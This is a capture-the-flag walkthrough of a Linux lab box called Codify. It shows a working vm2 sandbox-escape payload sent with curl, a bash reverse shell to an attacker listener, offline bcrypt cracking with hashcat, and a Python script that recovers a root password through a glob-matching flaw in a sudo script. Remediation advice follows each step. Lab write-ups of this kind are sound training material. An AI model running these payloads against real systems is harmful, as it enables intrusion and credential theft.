← all walkthroughs

Codify

Linux· Easy· Credential Access· Privilege Escalation
owned
2026-07-05
time to own
9m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a public-facing JavaScript code-execution sandbox (port 3000) built on the abandoned vm2 library and exploited a known sandbox-escape flaw to run OS commands as the low-privilege 'svc' service account. From that foothold I found a SQLite database left readable by the service, extracted and cracked a bcrypt password hash belonging to local user 'joshua', then SSH'd in as joshua.

A sudo-permitted backup script contained an unsafe Bash comparison that leaked the root account's password one character at a time through wildcard pattern matching, allowing me to authenticate directly as root and fully compromise the system.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork port and service scanning (Nmap)
Discovered three exposed services including a custom web app on port 3000
A service scan identified OpenSSH on port 22, Apache on port 80, and a Node.js/Express application on the non-standard port 3000. The custom application on port 3000 became the primary target because custom applications are far more likely to contain exploitable logic than hardened defaults.
Ports 22/tcp (OpenSSH 8.9p1), 80/tcp (Apache 2.4.52), 3000/tcp (Node.js Express) confirmed by recon sweep.
Exact commands 1
Full port scan with default scripts and version detection.
nmap -sC -sV -p- --min-rate 5000 -oN codify.nmap $TARGET
2EnumerationWeb application fingerprinting / CVE identification
Fingerprinted the web sandbox and confirmed use of vulnerable vm2 library
The application on port 3000 is 'Codify', a browser-based JavaScript sandbox. Its /about page and the vm2 package.json file inside the running Node.js process revealed it ran vm2 version 3.9.16 — a library that was publicly abandoned and carries an unpatched sandbox-escape (CVE-2023-30547). The /run endpoint accepted arbitrary JavaScript and returned the execution output, making it the direct entry point.
Curl http://$TARGET:3000/ returned <title>Codify</title>; POST /run with console.log('hello') returned STATUS 200 {"output":"hello\r\n"}.
Exact commands 2
Check the About page for library version disclosure.
curl -s http://$TARGET:3000/about
Read vm2 package.json from within the sandbox to confirm version 3.9.16.
curl -s -X POST http://$TARGET:3000/run -H 'Content-Type: application/json' -d '{"code":"require(\"fs\").readFileSync(\"/usr/lib/node_modules/vm2/package.json\").toString()"}'
FixRemove or replace the abandoned vm2 JavaScript sandboxCritical
WeaknessThe Codify application used vm2 3.9.16 — an unmaintained library — to run user-supplied JavaScript. vm2 has a publicly known and weaponised sandbox-escape (CVE-2023-30547) that lets any user of the /run endpoint execute arbitrary operating system commands as the web server process. There is no patch available; the library has been formally abandoned by its maintainers.
FixImmediately disable the code-execution feature or take port 3000 offline. If the feature is required, replace vm2 with an actively maintained, hardware-isolation-based approach: run each execution inside a throwaway container (Docker with --network none and a read-only root filesystem) or use the isolated-vm npm package, which is based on the V8 Isolate API and does not share a JavaScript context with the host process. Confirm no other vm2-based routes exist in the codebase.
3Initial Accessvm2 Sandbox Escape — CVE-2023-30547 / Server-Side JavaScript Injection
Escaped the vm2 JavaScript sandbox and ran OS commands as 'svc'
CVE-2023-30547 tricks the vm2 engine by attaching a Proxy handler to an Error object whose getPrototypeOf trap recursively triggers a stack-overflow. The resulting exception propagates outside the sandbox context, giving me access to the native Function constructor, which they used to call child_process.execSync and execute arbitrary shell commands on the host. Execution ran as uid=1001 (svc), the account under which the Node.js application ran.
POST /run with an id payload returned STATUS 200 {"output":"uid=1001(svc) gid=1001(svc) groups=1001(svc)\n\r\n"}.
Exact commands 1
Proof-of-concept: should return uid=1001(svc).
curl -s -X POST http://$TARGET:3000/run -H 'Content-Type: application/json' -d '{"code":"err={};const h={getPrototypeOf(t){(function s(){new Error().stack;s();})();}};const p=new Proxy(err,h);try{throw p;}catch({constructor:c}){c.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"id\").toString()}}'
4FootholdReverse Shell via OS Command Injection
Converted code execution into an interactive reverse shell
Using the same sandbox-escape primitive, I embedded a bash reverse-shell payload in the execSync call. A netcat listener on my machine caught the connection, providing an interactive (though non-PTY) shell as the svc account.
Exact commands 2
Run on my machine ($ATTACKER_IP) before sending the trigger below.
nc -lvnp 4444
Replace $ATTACKER_IP with your listener IP. Delivers reverse shell as svc.
curl -s -X POST http://$TARGET:3000/run -H 'Content-Type: application/json' -d '{"code":"err={};const h={getPrototypeOf(t){(function s(){new Error().stack;s();})();}};const p=new Proxy(err,h);try{throw p;}catch({constructor:c}){c.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"bash -c \\\\\"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\\\\\"\").toString()}}'
5Credential AccessCredential Dumping from Local File / Offline Password Cracking (bcrypt)
Read a world-accessible SQLite database and cracked joshua's password hash
Searching the server's filesystem revealed a SQLite database at /var/www/contact/tickets.db belonging to the web application. It was readable by the svc account. Querying the users table returned a bcrypt hash for the local system account 'joshua'. I copied the hash to their machine and cracked it offline with rockyou.txt, recovering the plaintext password '[REDACTED: recovered credential]' in minutes.
Exact commands 4
Run on target as svc to locate SQLite databases.
find / -name '*.db' 2>/dev/null
List tables; look for a users or accounts table.
sqlite3 /var/www/contact/tickets.db '.tables'
Dump all rows — extracts joshua's bcrypt hash.
sqlite3 /var/www/contact/tickets.db 'SELECT * FROM users;'
Mode 3200 = bcrypt. Recovers plaintext: [REDACTED: recovered credential].
hashcat -m 3200 joshua.hash /usr/share/wordlists/rockyou.txt
FixProtect the application database and eliminate recoverable plaintext credentialsHigh
WeaknessThe web application stored user password hashes in a SQLite file (/var/www/contact/tickets.db) that was readable by the svc service account and located within the web application's working directory. Any code-execution vulnerability — however limited in scope — gave immediate access to every stored credential.
FixMove the database to a directory owned and readable only by a dedicated database service user (chmod 600, chown app-db-user). The web application process (svc) must never have read access to the database file directly; use a local Unix-socket connection to a dedicated database service instead. Rotate all passwords currently stored in the database. Ensure bcrypt cost factor is at least 12 to slow offline cracking.
6Lateral MovementValid Account / Credential Reuse over SSH
Authenticated as 'joshua' over SSH with the cracked password
The recovered password '[REDACTED: recovered credential]' was also joshua's SSH credential. This gave me a stable, PTY-capable SSH session as a named user — a significant upgrade from the no-PTY svc shell. The user flag was accessible from this session.
Sshpass -p '[REDACTED: recovered credential]' ssh joshua@$TARGET succeeded; user.txt captured.
Exact commands 1
Password: [REDACTED: recovered credential]. Read user.txt -> <user.txt>.
ssh joshua@$TARGET
7Privilege EscalationSudo Misconfiguration / Bash Glob Pattern Oracle — MITRE T1548.003
Oracle'd the root password through a sudo script's unsafe Bash comparison
Running 'sudo -l' revealed joshua could execute /opt/scripts/mysql-backup.sh as root. The script asked for a database password and compared it against the real root-level credential using Bash's [[ $USER_INPUT == $SECRET ]] syntax. Unlike a strict string equality test, double-bracket comparison in Bash performs glob pattern matching — meaning the input 'a*' matches any string starting with 'a'. I looped through every printable character one position at a time, using 'a*', 'b*', ... To detect which prefix matched, then confirmed each character in sequence until the full root password was recovered: '[REDACTED: recovered credential]'.
Sshpass -p '[REDACTED: recovered credential]' ssh root@$TARGET succeeded.
Exact commands 3
As joshua; confirms: (root) /opt/scripts/mysql-backup.sh.
sudo -l
Inspect for [[ $USER_PASS == $DB_PASS ]] or similar glob-vulnerable comparison.
cat /opt/scripts/mysql-backup.sh
Glob oracle: recovers the root database/system password character by character. Recovered: [REDACTED: recovered credential].
python3 - <<'PY'
import subprocess, string
pwd = ''
charset = string.ascii_letters + string.digits
for _ in range(40):
    for c in charset:
        result = subprocess.run(
            ['sudo', '/opt/scripts/mysql-backup.sh'],
            input=pwd + c + '*\n', capture_output=True, text=True
        )
        if 'confirmed' in result.stdout.lower() or result.returncode == 0:
            pwd += c
            print(f'[+] Found so far: {pwd}')
            break
print(f'[*] Password: {pwd}')
PY
FixFix the sudo backup script's glob-vulnerable password comparisonCritical
WeaknessThe script /opt/scripts/mysql-backup.sh was executable via sudo by a regular user and compared a user-supplied password against a secret using Bash's [[ ]] construct, which performs glob pattern matching instead of strict string equality. This allowed the caller to test one wildcard pattern per invocation and recover the secret character by character without brute-forcing.
FixChange the comparison to a POSIX strict-equality test that is not subject to glob expansion: use [ "$USER_PASS" = "$DB_PASS" ] (single brackets, both sides quoted). Alternatively, eliminate the interactive password prompt entirely by storing the MySQL credential in a root-owned ~/.my.cnf options file (chmod 600) so the script reads it directly without user input. Audit all sudo-permitted scripts for similar pattern-matching comparisons. Rotate the root database password immediately.
8Full CompromiseValid Root Credentials / SSH Root Login
SSH'd directly as root using the oracle-recovered password
The root system account accepted the same password recovered through the glob oracle. I logged in over SSH as root, giving unrestricted control of every file, process, and credential on the machine. The root flag was read from /root/root.txt.
Sshpass -p '[REDACTED: recovered credential]' ssh root@$TARGET 'id; cat /root/root.txt' executed successfully; root.txt captured.
Exact commands 2
Password: [REDACTED: recovered credential]. Full root shell.
ssh root@$TARGET
Captures root flag: <root.txt>.
cat /root/root.txt
FixDisable password-based root login over SSHHigh
WeaknessThe root account was configured to accept direct SSH logins with a password. Once any high-privilege password was obtained — through the sudo script oracle or any other means — an unauthorised user could authenticate as root over the network without any further lateral movement.
FixSet 'PermitRootLogin no' in /etc/ssh/sshd_config and reload sshd (systemctl reload sshd). All privileged administration should proceed by logging in as a named account and using sudo. If key-based root access is required for automation, use 'PermitRootLogin prohibit-password' and restrict authorised_keys to specific source IPs with a from= directive. Rotate the root system password.

Exposed services

22/tcp
80/tcp
3000/tcp